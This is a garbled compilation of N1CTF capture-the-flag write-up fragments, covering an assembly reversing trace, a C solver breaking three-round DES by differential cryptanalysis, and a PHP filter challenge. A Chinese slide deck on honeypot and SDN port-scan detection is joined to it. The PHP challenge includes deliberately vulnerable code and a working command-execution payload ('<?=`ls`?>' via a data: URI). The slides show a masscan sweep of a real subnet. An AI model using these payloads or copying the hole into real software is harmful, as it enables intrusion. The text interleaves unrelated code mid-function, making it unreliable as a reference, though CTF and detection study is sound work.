.text:00000000000037B8 .text:00000000000037B8 loc_37B8:                               ; CODE XREF: sub_31CF+5D1↑j .text:00000000000037B8                 mov     cs:c, 123h .text:00000000000037C2                 jmp     switch1 .text:00000000000037C7                 mov     eax, cs:b .text:00000000000037CD                 cmp     eax, 0AABBh .text:00000000000037D2                 jnz     short loc_37F8 .text:00000000000037D4                 mov     eax, cs:c .text:00000000000037DA                 cmp     eax, 123h .text:00000000000037DF                 jnz     short loc_37F8 .text:00000000000037E1                 mov     eax, cs:d .text:00000000000037E7                 cmp     eax, 0CCDDh .text:00000000000037EC                 jnz     short loc_37F8 .text:00000000000037EE                 mov     eax, cs:e .text:00000000000037F4                 test   eax, eax .text:00000000000037F6                 jz     short loc_380E .text:00000000000037F8 .text:00000000000037F8 loc_37F8:                               ; CODE XREF: sub_31CF+603↑j .text:00000000000037F8                                         ; sub_31CF+610↑j ... .text:00000000000037F8                 lea     rdi, aYouAreWrong ; "you are wrong!" .text:00000000000037FF                 call   sub_11A0 .text:0000000000003804                 mov     edi, 0 .text:0000000000003809                 call   exit_0 .text:000000000000380E ; ------------------------------------------------------- -------------------- .text:000000000000380E .text:000000000000380E loc_380E:                               ; CODE XREF: sub_31CF+627↑j .text:000000000000380E                 mov     cs:e, 456h .text:0000000000003818                 mov     eax, cs:e .text:000000000000381E                 mov     cs:a, eax .text:0000000000003824                 jmp     switch1 require: b == 0xAABB c == 0x123 d == 0xCCDD e == 0 set: e = 0x456 rule:* require:b * a == 0x3F9D72D4 set a = a*b rule:+ require:a+d == 0x16DD3C set a=a+b rule:- .text:0000000000003829                 mov     edx, cs:a .text:000000000000382F                 mov     eax, cs:b .text:0000000000003835                 imul   eax, edx .text:0000000000003838                 mov     cs:a, eax .text:000000000000383E                 mov     eax, cs:a .text:0000000000003844                 cmp     eax, 3F9D72D4h .text:0000000000003849                 jz     switch2 .text:000000000000384F                 lea     rdi, aYouAreWrong ; "you are wrong!" .text:0000000000003856                 call   sub_11A0 .text:000000000000385B                 mov     edi, 0 .text:0000000000003860                 call   exit_0 .text:0000000000003865                 mov     edx, cs:a .text:000000000000386B                 mov     eax, cs:d .text:0000000000003871                 add     eax, edx .text:0000000000003873                 mov     cs:a, eax .text:0000000000003879                 mov     eax, cs:a .text:000000000000387F                 cmp     eax, 16DD3Ch .text:0000000000003884                 jz     loc_3916 .text:000000000000388A                 lea     rdi, aYouAreWrong ; "you are wrong!" .text:0000000000003891                 call   sub_11A0 .text:0000000000003896                 mov     edi, 0 .text:000000000000389B                 call   exit_0 require:a - c == 0x16105F set: a = a - c rule: ^ require: a ^ dword_70E0 == 0x161182 set: a ^= dword_70E0 dword_70E0(yylval) is a number from input parsed by lex. The yacc parse tokens from left to right one by one , and then parse symbols(+,-,*,^) from right to left one by one. We can easily conclude right token sequence by 'require' and 'set' n1ctf{YACC*LEX+CTF-FUN^1447380} BabyOS In the first, please allow me introduce you a open source OS called xbook, which developed by a Chinese college student. If you use command 'strings' collect information from images, you can find it's name and git address. You can get a copy from GitHub: https://github.com/hzcx998/xbook2 The xbookOS has two images, the kernel and data. The kernel is stored in a.img, and the data is stored in the other img which file system is FAT32. .text:00000000000038A0                 mov     edx, cs:a .text:00000000000038A6                 mov     eax, cs:c .text:00000000000038AC                 sub     edx, eax .text:00000000000038AE                 mov     eax, edx .text:00000000000038B0                 mov     cs:a, eax .text:00000000000038B6                 mov     eax, cs:a .text:00000000000038BC                 cmp     eax, 16105Fh .text:00000000000038C1                 jz     short loc_3919 .text:00000000000038C3                 lea     rdi, aYouAreWrong ; "you are wrong!" .text:00000000000038CA                 call   sub_11A0 .text:00000000000038CF                 mov     edi, 0 .text:00000000000038D4                 call   exit_0 .text:00000000000038D9                 mov     eax, cs:a .text:00000000000038DF                 mov     edx, cs:dword_70E0 .text:00000000000038E5                 xor     eax, edx .text:00000000000038E7                 mov     cs:a, eax .text:00000000000038ED                 mov     eax, cs:a .text:00000000000038F3                 cmp     eax, 161182h .text:00000000000038F8                 jz     short loc_391C .text:00000000000038FA                 lea     rdi, aYouAreWrong ; "you are wrong!" .text:0000000000003901                 call   sub_11A0 .text:0000000000003906                 mov     edi, 0 .text:000000000000390B                 call   exit_0 The n1ctf program is stored in data image, and it can easily exports by mounting the image to vm which runs a Windows. Unfortunately, the n1ctf program's file in the image is encrypted, and the decryption code may in the kernel. The a.img is a Floppy Image contains the loader and 3 ELF files, using binwalk to detect ELF files as blows: Extracting ELFs and loading them to IDA. You can find a function called 'do_execute'. 'do_execute' is used to execute a program, like 'CreateProcess' in windows. You can find decryption code in 'do_execute'. The kernel load the original file to memory and then decrypt it and then write to '/tmp/decrypt'. so you can just exports /tmp/decrypt from data image. After we successfully extract the n1ctf file and decrypt it, we can drag it into IDA for analysis. Locate the main function. binwalk a.img DECIMAL       HEXADECIMAL     DESCRIPTION -------------------------------------------------------------------------------- 7271         0x1C67         ELF, 32-bit LSB processor-specific, (SYSV) 51200         0xC800         ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV) 409831       0x640E7         ELF, 32-bit LSB processor-specific, (SYSV) 422240       0x67160         HTML document header 422457       0x67239         HTML document footer The program's logic is that the user first input the key and uses the DES encryption algorithm to encrypt the specific plaintext, and the ciphertext is written into the out file. Then the user's first input is used as the rc4 key, and the user's second input is encrypted and compared with the specific ciphertext. The number of des encryption rounds is only three rounds, and the key can be obtained by using a Differential Cryptanalysis. Then you can use the key to decrypt the ciphertext to get the flag. #include<stdio.h> #define NUM 3 char final[32]="\x85\x3c\xb1\x81\x3d\x85\x95\x7a\xf6\x68\xd8\xfd\x9f\xdc\xcd\xd7\x73\ x18\x97\x32\xf1\x50\xe3\xd8\x07\x79\x01\x4a\x45\xea\x6e\x42"; void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) { int i =0, j = 0; char k[256] = {0}; unsigned char tmp = 0; for (i=0;i<256;i++) { s[i] = i; k[i] = key[i%Len]; } for (i=0; i<256; i++) { j=(j+s[i]+k[i])%256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; } } void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len) { int i = 0, j = 0, t = 0; unsigned long k = 0; unsigned char tmp; for(k=0;k<Len;k++) { i=(i+1)%256; j=(j+s[i])%256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; t=(s[i]+s[j])%256; Data[k] ^= s[t]; } } int PC1[56] = { 57,49,41,33,25,17,9,1,   58,50,42,34,26,18,10,2,   59,51,43,35,27,19,11,3,   60,52,44,36,63,55,47,39,   31,23,15,7,62,54,46,38,   30,22,14,6,61,53,45,37,   29,21,13,5,28,20,12,4 }; int PC2[48] = { 14,17,11,24,1,5,3,28, 15,6,21,10,23,19,12,4, 26,8,16,7,27,20,13,2,41, 52,31,37,47,55,30,40,51, 45,33,48,44,49,39,56,34, 53,46,42,50,36,29,32 }; int S[8][4][16] = { 14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7, 0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8, 4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0, 15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13, 15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10, 3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5, 0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15, 13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9, 10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8, 13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1, 13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7, 1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12, 7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15, 13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9, 10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4, 3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14, 2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9, 14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6, 4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14, 11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3, 12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11, 10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8, 9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6, 4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13, 4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1, 13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6, 1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2, 6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12, 13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7, 1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2, 7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8, 2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11 } ; int P[32] = { 16,7,20,21,29,12,28,17, 1,15,23,26,5,18,31,10, 2,8,24,14,32,27,3,9, 19,13,30,6,22,11,4,25 }; int E[48] = { 32,1,2,3,4,5,4,5,6,7,8,9, 8,9,10,11,12,13,12,13,14,15,16,17, 16,17,18,19,20,21,20,21,22,23,24,25, 24,25,26,27,28,29,28,29,30,31,32,1 }; unsigned long long int plaintext[2*NUM] = { 0x48656c6c6f5f307e ,0x63344e796f5f307e , 0x6733746d79797979, 0x4b45596b79797979, 0x7472795f31745e5e ,0x6733742131745e5e }; unsigned long long int ciphertext[2*NUM] = { 0x6d1d8448d2f9d2ef,0x72608ea7ca520b1d, 0x4602f4a480ec6ee4,0x9129d1181bd8b4a9, 0x40926f30eb7a8850,0xb41dd3d5dfc16fa3 }; int move_bit[3] = {1,2,4}; int loss_bit[8] = { 0, 12, 21, 25, 38, 41, 46, 29 }; int plaintext_2[2 * NUM][2][32]; int ciphertext_2[2 * NUM][2][32]; int choice[64][6] = {0}; int key_count[8][64] = {0 }; int key_8[8]; int key_48[48]; int key_56[56] = { 0 }; int f_key_56[56]; int s_out[NUM][32], s_in[NUM][48]; int KEY[64] = {0}; int KEY_8[8] = { 0 }; void change_2(); void xor_operation(int result[], int a[], int b[], int num); void E_operation(int E_R2[2 * NUM][48]); void Find_8_key(int k, int E_R2[2 * NUM][48]); void make_key(int i, int key[48]); void F_Operation(int RC[32], int key[]); int DES(); int Exhaustion(); int main() { int E_R2[2 * NUM][48]; int R3_xor[NUM][32], L0_xor[NUM][32], R_L_xor[NUM][32]; change_2(); E_operation(E_R2); for (int num = 0; num < NUM; num++) { xor_operation(R3_xor[num], ciphertext_2[2 * num][1], ciphertext_2[2 * num + 1][1], 32); xor_operation(L0_xor[num], plaintext_2[2 * num][0], plaintext_2[2 * num + 1][0], 32); xor_operation(R_L_xor[num], R3_xor[num], L0_xor[num], 32); xor_operation(s_in[num], E_R2[2 * num], E_R2[2 * num + 1], 48); for (int i = 0; i < 32; i++) s_out[num][P[i] - 1] = R_L_xor[num][i]; } for (int k = 0; k < 8; k++) Find_8_key(k, E_R2); for (int i = 0; i < 8; i++) for (int j = 0; j < 6; j++) key_48[6 * i + j] = key_8[i] >> (5 - j) & 1; for (int i = 0; i < 48; i++) key_56[PC2[i] - 1] = key_48[i]; for (int i = 0; i < 56; i++) { if (i < 28) f_key_56[i] = key_56[(i + 24) % 28]; else f_key_56[i] = key_56[28 + ((i + 24) % 28)]; } int tag = Exhaustion(); for (int i = 0; i < 56; i++) KEY[PC1[i]-1] = f_key_56[i]; int bit_8 = 0; unsigned char key[8]; for (int i = 0; i < 8; i++) { for (int j = 0; j < 7; j++) { if (KEY[8 * i + j] == 0) bit_8++; KEY_8[i] += KEY[8 * i + j] << (7 - j); } if (bit_8 % 2 == 0) KEY[8 * i + 7] = 0; else KEY[8 * i + 7] = 1; bit_8 = 0; KEY_8[i] += KEY[8 * i + 7]; sprintf(&key[i],"%c", KEY_8[i]); } unsigned char s[256] = {0}; printf("key is %s\n",key); rc4_init(s,key,8); rc4_crypt(s,(unsigned char *)final,32); printf("flag is %.32s\n",final); } void change_2() { for (int i = 0; i < 2 * NUM; i++) for (int j = 0; j < 64; j++) { if (j<32) { plaintext_2[i][1][31 - j] = plaintext[i] >> j & 1; ciphertext_2[i][1][31 - j] = ciphertext[i] >> j & 1; } else { plaintext_2[i][0][63 - j] = plaintext[i] >> j & 1; ciphertext_2[i][0][63 - j] = ciphertext[i] >> j & 1; } } } void xor_operation(int result[], int a[], int b[],int num) { for (int i = 0; i < num; i++) result[i] = a[i] ^ b[i]; } void E_operation(int E_R2[2 * NUM][48]) { for (int num=0;num< 2 * NUM;num++) for (int i = 0; i < 48; i++) E_R2[num][i] = ciphertext_2[num][0][E[i] - 1]; } void Find_8_key(int k, int E_R2[2 * NUM][48])   { int temp[6]; int a, b,c,d=0; for (int num = 0; num < NUM; num++) { for (int i = 0; i < 64; i++) { for (int j = 0; j < 6; j++) { choice[i][5 - j] = (i >> j) & 1; } for (int j = 0; j < 6; j++) { temp[j] = choice[i][j] ^ s_in[num][6 * k + j]; } a = S[k][(temp[0] << 1) + temp[5]][(temp[1] << 3) + (temp[2] << 2) + (temp[3] << 1) + temp[4]]; b = S[k][(choice[i][0] << 1) + choice[i][5]][(choice[i][1] << 3) + (choice[i][2] << 2) + (choice[i][3] << 1) + choice[i][4]]; c = (s_out[num][4 * k] << 3) + (s_out[num][4 * k + 1] << 2) + (s_out[num][4 * k + 2] << 1) + s_out[num][4 * k + 3]; if ((a ^ b) == c) { for(int q=0;q<6;q++) d+=E_R2[2*num][6*k+q]<<(5-q); d = d ^ i;       key_count[k][d]++; d = 0; } } } for (int i = 0; i < 64; i++) if (key_count[k][i] == NUM)   key_8[k] = i; } int DES() { int L[32], R[32]; for (int i = 0; i < 32; i++) { L[i] = plaintext_2[0][0][i]; R[i] = plaintext_2[0][1][i]; } int key[48], temp[32]; for (int i = 1; i <= 3; i++) { for (int j = 0; j < 32; j++) { temp[j] = L[j]; L[j] = R[j]; } make_key(i, key);   F_Operation(R, key);   for (int j = 0; j < 32; j++)     R[j] = R[j] ^ temp[j]; } for (int i = 0; i < 32; i++) if (L[i] == ciphertext_2[0][0][i] && R[i] != ciphertext_2[0][1][i]) return 0; return 1;   } void make_key(int i, int key[48]) { int key1[28] = { 0 }, key2[28] = {0}; for (int index = 0; index < 28; index++) { key1[index] = f_key_56[(index + move_bit[i - 1]) % 28]; key2[index] = f_key_56[28+((index + move_bit[i - 1]) % 28)]; } for (int i = 0; i < 48; i++) { if (PC2[i] <= 28) key[i] = key1[PC2[i] - 1]; if (PC2[i] > 28) key[i] = key2[PC2[i] - 29]; } } void F_Operation(int R[32], int key[])   { int x, y; int TR[32]; int TRC[48], TRCO[48]; for (int i = 0; i < 48; i++) { Rrr I implemented a VM using multithreading, where each operation is assigned a thread and the order of vm instruction execution is controlled by using sem_post/sem_wait. You can analyze the program (assembly) with Ghidra 9.2, look for the patterns of instructions and threads, and write scripts to sort out the order of instructions. Misc Filters TRC[i] = R[E[i] - 1]; TRCO[i] = TRC[i] ^ key[i]; } for (int j = 0; j < 8; j++) { x = (TRCO[j * 6] << 1) + TRCO[j * 6 + 5]; y = (TRCO[j * 6 + 1] << 3) + (TRCO[j * 6 + 2] << 2) + (TRCO[j * 6 + 3] << 1) + TRCO[j * 6 + 4]; for (int k = 0; k < 4; k++) { TR[j * 4 + k] = S[j][x][y] >> (3 - k) & 1; } } for (int i = 0; i < 32; i++) { R[i] = TR[P[i] - 1]; } } int Exhaustion() { int loss_bit[8] = { 0, 12, 21, 25, 38, 41, 46, 29 }; int i = 0; for(f_key_56[0 ]=0; f_key_56[0]<2; f_key_56[0]++) for (f_key_56[12] = 0; f_key_56[12] < 2; f_key_56[12]++) for (f_key_56[21] = 0; f_key_56[21] < 2; f_key_56[21]++) for (f_key_56[25] = 0; f_key_56[25] < 2; f_key_56[25]++) for (f_key_56[38] = 0; f_key_56[38] < 2; f_key_56[38]++) for (f_key_56[41] = 0; f_key_56[41] < 2; f_key_56[41]++) for (f_key_56[46] = 0; f_key_56[46] < 2; f_key_56[46]++) for (f_key_56[29] = 0; f_key_56[29] < 2; f_key_56[29]++) { if (DES() == 1){ return 1;} } return 0; } <?php isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__)); $input = explode("/",$_POST['filters']); $source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]); $file_contents = []; foreach($input as $filter){ This challenge requires players to use PHP filters to convert a binary file into a webshell. The original idea could be seen here Intended solution Make a simple fuzzer fz.php php fz.php /usr/bin/php Some short words are generated. After lots of testings, all single letter and symbol could be generated in a short time(less than one hour). It is often even possible to generate a single sample of multiple required characters combined together. (eg. file <?= could be generated) Case ABCDEFGHI    array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php")); } shuffle($file_contents); file_put_contents($source_file, $file_contents); try {    require_once $source_file; } catch(\Throwable $e){    pass; } unlink($source_file); ?> shuffle($file_contents); If you just generate single character, you will have $ \frac{1}{A_9^9} $ probability of combining into this string (ABCDEFGHI). If there are repeated characters in final goal, the probability will be higher (eg. <?=`ls`?> ). If you could generated combined characters, this probability will be higher too. Conclusion I used to generated combined characters <?= . This challenge was meant to see if someone can fuzz a combination that is closer to the final goal <?=`ls`?> , but I think most solvers might use unintended solution. Unintended solution POST filters=resource%3ddata:,<?=`ls`?>, GinDriver Revenge see #GinDriver in Web section N1egg N1egg In Fixed Camera Egg in the back of camera.(Or just simply search the memory)
pdf
Canaan Kao, Chuang Wang, I-Ju Liao canaan@totoro.cs.nthu.edu.tw canaan_kao@trend.com.tw SOME THINGS BEFORE NETWORK ATTACK (A LONG TIME OBSERVATION) 網路攻擊之前的二三事 AGENDA • The Motivation • Port Scan 101 • IDS/IDP-based Port Scan Detection • Honeypot-based Port Scan Detection • Play with SDN switch • A Long Time Observation • A legacy of Anti-Botnet Project 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 2 WHO AM I? • 十幾年前,在讀大學的時候,寫 OpenSource 的網 管軟體報告,抽簽抽到 Snort. • 後來在一家做 IDS/IPS 的公司,寫了十幾年的 code。 • 之後意外地,在我青春的尾巴,執行了教育部的 Anti-botnet 計畫五年,辦了四屆的 Botnet of Taiwan (BoT)研討會。 • 不要問我今年有沒有 BoT2014? • 去年不小心成為 Anti-Virus 廠商的員工。 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 3 WHO AM I? 一些曾經講過的 • 2010 Spam Source Detection at Home • http://www.anti-botnet.edu.tw/content/confs/BoT2010.PPTs/B5.php • 2012 The Botnet Traffic Forensics System • http://www.anti-botnet.edu.tw/content/confs/BoT2012.PPTs/B5.php • 2013 APT/Malware Traffic Detection • http://www.anti-botnet.edu.tw/content/confs/BoT2013.PPTs/B5.php 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 4 一些縮寫 • IDS: 不具備阻擋功能的入侵偵測系統 • EX: Snort • IPS: 具備阻擋功能的入侵偵測系統 • EX: Snort-inline • FW: FireWall 防火牆 • EX: NetFilter / iptables • LAN: 以 FW 為界的內網 • WAN: 以 FW 為界的外網 • SDN: Software-defined Network 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 5 THE MOTIVATION 關於內賊(BOT)的偵測位置 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 6 THE MOTIVATION 關於偵測的時機 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 7 THE MOTIVATION 只能事後偵測嗎? • 假設 Malware 透過行動載具或是其他方式 已經進入到內網,我們有什麼方式可以察 覺或是阻止內網的設備 受到攻擊/感染? • 或是我們只能做尋找哪些主機已經變成 bot 的事後偵測? • 如果攻擊的封包完全不經過 GW / FW / IDS / IPS,那我們還能偵測得到嗎? 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 8 THE MOTIVATION IDS/IPS 產業公開的秘密 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 9 • 針對網路上的攻擊,基本上是廠商必 須先拿到攻擊樣本或是惡意程式,其 所屬的 IDS 或是 IPS 才會有偵測率。 • 所以如果遇到 0day,或是新式攻擊, 被攻擊成功的機會就很大。 • 因此,針對 Botnet / APT,做事後的偵 測是比較有把握的。 • But…. THE MOTIVATION 看個新聞 (智慧家電越來越多了) 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 10 • 來源:蘋果日報 THE MOTIVATION 以後家庭生活都可以透過網路控制 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 11 http://server1.she777.com/images/www.joybien.com/images/HOME/SmartHome_760x500.jpg THE MOTIVATION 一個問題 • 假設有一個攻擊 智慧冰箱 的 Malware, 且這個 Malware 已經殖入你的行動裝置。 而你回家的時候,它也跟你一起回家。 • 它要怎麼知道你家有可以攻擊的 智慧冰 箱 呢? 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 12 THE MOTIVATION • 最簡單的 probe 方式就是 port scan。 • IDS / IPS / FW 應該要有反應?不是嗎? • 等一下會解釋為什麼它們可能不會叫。 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 13 PORT SCAN 101 • 基本上 Port Scan 可以分成兩種: • Vertical Scans • Single Host Target • Nmap 預設是這種 • Horizontal Scans • Single Service Port Target • aka Port Sweep Scan • Bot/Malware 比較常用這種 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 14 PORT SCAN 101 • Port Scan 最主要想知道兩件事 • 1. 目標機器有沒有開? • 發 TCP Syn 無回? • 2. 如果有開(有回),那 Service 有沒有開? • 回 SYN+ACK • 回 RST+ACK 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 15 PORT SCAN 101 • 不過 Port Scan人人會 ,巧妙各有不同。 • Nmap • Bot/Malware • Bot/Malware 的掃法和你想的不太一樣 • Internet Scan • 這陣子很流行 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 16 Port Scan 101 Nmap (1K ports/30 seconds) 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 17 PORT SCAN 101 BOT/MALWARE-PERL-BOT(ESKENT) 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 18 PORT SCAN 101 BOT/MALWARE-ILEGALBRAIN_PERLBOT 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 19 PORT SCAN 101 INTERNET SCAN 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 20 PORT SCAN 101 INTERNET SCAN 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 21 PORT SCAN 101 MASSCAN -P80 140.114.71.0/24 --RATE=10000 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 22 PORT SCAN 101 MASSCAN -P80 140.114.71.0/24 --RATE=10000 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 23 PORT SCAN 101 INTERNET SCAN (一些相關單位) 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 24 Source: us-14-Schloesser-Internet-Scanning-Current-State-And-Lessons-Learned.pdf PORT SCAN 101 INTERNET SCAN 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 25 • 以前,我們會想,我們把重要的 Service 放在 Internet Scanning 掃不到的地方,不就 好了? • 例如: 放在 LAN 端,有 FW 保護,不開 Virtual Server 或是 Port Mapping,只對內 服務,這樣不就沒事了? IDS/IDP-BASED PORT SCAN DETECTION • Snort v2.9.2 的 default setting 是這樣 • 預設是 disabled • Detection Level: low • For getting few false positives. • Time window is 60 seconds. 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 26 IDS/IDP-BASED PORT SCAN DETECTION • 基本上是計算單位時間內發現的 port scan 事 件次數。 • 是一個 threshold。 • 只要低於 threshold 就可以繞過。 • False Positive? • 某些正常連線看起來會像 port scan 的 行為。 • 那基準值/參考值是什麼? 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 27 IDS/IDP-BASED PORT SCAN DETECTION • 如果你今天買了台具備偵測 Port Scan 能 力的 IDS / IPS / FW,你會怎麼驗? • 大家都愛 Nmap  • 有人會養個 bot 掃掃看嗎? • 所以針對 bot / malware 所發出的 port scan ,如果你買的那個資安設備不會 叫,是可以了解/諒解的。 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 28 IDS/IDP-BASED PORT SCAN DETECTION • 如果今天 port scan 的 packets,不經過 IDS / IPS / FW呢? • 法外之地? • LAN <-> LAN traffic • 如果Traffic有流經FW的 LAN Ports,之前 的資安設備會假設這個方向的 traffic 應 該不會有攻擊,所以 通常不檢查,採 用硬體交換居多。 • Wireless LAN (WLAN) <-> LAN traffic 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 29 IDS/IDP-BASED PORT SCAN DETECTION 對於 PORT SCAN可能不會叫的原因 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 30 • 偵測的功能沒開? • 大家可以回去檢查一下 Home GW 的預 設值 • 偵測的方式對不上 • 清朝的劍與明朝的官 • Threshold 被繞過 • Traffic 沒經過 HONEYPOT-BASED PORT SCAN DETECTION • 因為 LAN <-> LAN之間的 Attack 不會被 FW / IDS 看到,所以為了偵測 LAN <-> LAN 之間 的 Attack,我們使用了 HoneyPot。 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 31 HONEYPOT-BASED PORT SCAN DETECTION WHAT IS HONEYPOT? • 就我個人的定義: • 所有可以用來誘使壞人或是惡意程式展露 其行為或意圖的系統 • 所以它可以是 • 一台 Server • 一個 VM • 一個 Web Client • …. 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 32 HONEYPOT-BASED PORT SCAN DETECTION • 簡單地說,這個方法就是用一個影武者設 備(H),放在需要被保護的主機(S)的旁邊, H 的 IP 也設在 S 的附近。 • H 完全不開 services,或是只開少量的 services,外界完全不知道 H 的存在,所 以 H 只要收到來自不明主機(A)的一個 TCP SYN for a closed port,就可以大膽判定 A 是 Scanner。 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 33 HONEYPOT-BASED PORT SCAN DETECTION 再看一次 SWEEP SCAN 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 34 HONEYPOT-BASED PORT SCAN DETECTION • 這個方法有個好處 • 不管 scan 是 from WAN 或 from LAN,都可以偵 測。 • NO False-Positive  • 對付 Malware with BYOD/IoT 也行。 • 掃再慢都抓得到  • 這個方法的缺點 • 萬一 A 沒掃到 H 呢? • 偵測到有人在掃,下一步呢? • FW 可以馬上擋,H 呢? 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 35 HONEYPOT-BASED PORT SCAN DETECTION 話說當今世上有個神器,叫 SDN SWITCH http://bradhedlund.s3.amazonaws.com/2011/openflow-scale/openflow-switch.png 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 36 HONEYPOT-BASED PORT SCAN DETECTION 實驗 • 為了簡化環境,我們把 • Bot-infected host • Honeypot (Anti-Scanning) • 都接在同一台 SDN switch上。 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 37 HONEYPOT-BASED PORT SCAN DETECTION SDN SW + HONEYPOT 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 38 SDN Switch Private Cloud SDN Controller VM (Bot-infected) VMs (Anti-scanning) 1 1 2 3 4 HONEYPOT-BASED PORT SCAN DETECTION SDN SW + HONEYPOT (THE SCAN BLOCKING RATE) 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 39 HONEYPOT-BASED PORT SCAN DETECTION SDN SW + HONEYPOT (THE RESPONSE TIME) 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 40 ABOUT LAN PORT SCAN DETECTION 小結 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 41 • 這樣看來針對 LAN <-> LAN 的 Scan,用 • SDN SW + Honeypot 或許是一招 • 0.6s 的反應時間 • 98.5% 的阻擋率 • 0% FP rate • But, 我們還有更好的方法  • Maybe HITCON 2015? 同場加映 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 42 • A Long Time Observation • A legacy of Anti-Botnet Project (2009-2013) • http://www.anti-botnet.edu.tw/ ABOUT ANTI-BOTNET PROJECT THE FLOW OF AUTO-BOTNET-RULE GEN 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 43 ABOUT ANTI-BOTNET PROJECT BOTNET DETECTION RULE SERVICE 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 44 ABOUT ANTI-BOTNET PROJECT THE FORENSIC OF BOT NETWORK TRAFFIC 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 45 A LONG TIME OBSERVATION (A LEGACY OF ANTI-BOTNET PROJECT) • 這故事是這樣,在2009年的時候,因為 Anti-Botnet Porject 的需要,我放了一個 HoneyPot-based port scan detector (影武者)…. • 因為會掃到影武者的,基本上都可以假設 居心不良,所以我們用這個來產生 bot-like host distribution map。 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 46 A LONG TIME OBSERVATION (WHERE IS TAIWAN?) 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 47 A LONG TIME OBSERVATION (A LEGACY OF ANTI-BOTNET PROJECT) • Anti-Botnet Porject 在 2013 年結束, 但是一 些相關的設施並沒有完全撤除,我在前一 些日子發現我有保留它自 2009 年以來的 log…. • 大數據分析?不,只是久數據。 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 48 A LONG TIME OBSERVATION (大約有 1.2M 筆 LOGS) 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 49 A LONG TIME OBSERVATION 這些年的一些統計 • 有 177,084 個 IP 掃到我們 • 有 23,273 個 TCP ports 被掃到 (Total:1,036,624 hits) • 有 1,479 個 UDP ports 被掃到 (Total:179,250 hits) 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 50 A LONG TIME OBSERVATION 比較熱門的 TCP PORTS Rank Port # Hit # Ratio 1 